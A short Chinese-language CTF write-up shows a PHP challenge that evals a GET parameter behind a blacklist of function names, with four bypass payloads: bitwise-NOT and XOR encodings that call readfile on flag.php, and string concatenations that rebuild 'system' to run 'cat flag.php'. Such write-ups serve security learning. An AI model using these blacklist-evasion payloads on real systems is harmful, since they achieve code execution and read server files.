前幾天拿到了線下賽的源碼,做做看。這道主要是命令執行的黑名單繞過
先看看給出的代碼:
<?php highlight_file(__FILE__); error_reporting(0); $blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"]; $blacklist = array_merge($blacklist, get_defined_functions()['internal']); foreach($blacklist as $i){ if(stristr($_GET[cmd], $i)!==false){ die('hack'); } } eval($_GET[cmd]); ?>
可以看到把內置定義的函數和一些敏感函數都加入了Blacklist,下面這道題的兩種解法:
1.取反或異或繞過
已知flag在flag.php文件中,直接構造讀取flag.php文件的取反Payload:
(~%20%8D%9A%9E%9B%99%96%93%9A)((~%20%99%93%9E%98%D1%8F%97%8F));
發送請求源代碼得到Flag:
同樣的,構造一個異或Payload也可以讀取到文件內容:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("flag.php");&%ff=readfile
2.字符串拼接繞過
這個是賽事主辦方給出的ppt上的解法,是通過賦值變量然后拼接字符串實現的命令執行
第一個Payload是通過拼接函數名實現的:
$a='sys'.'tem';$a("cat flag.php");
第二個Payload是通過拼接語句實現的:
$a="syste";$b="m(%27cat%20flag.php%27);";$c=$a.$b;eval($c);
原理都是一樣的,就不過多贅述了,啥也不是,散會!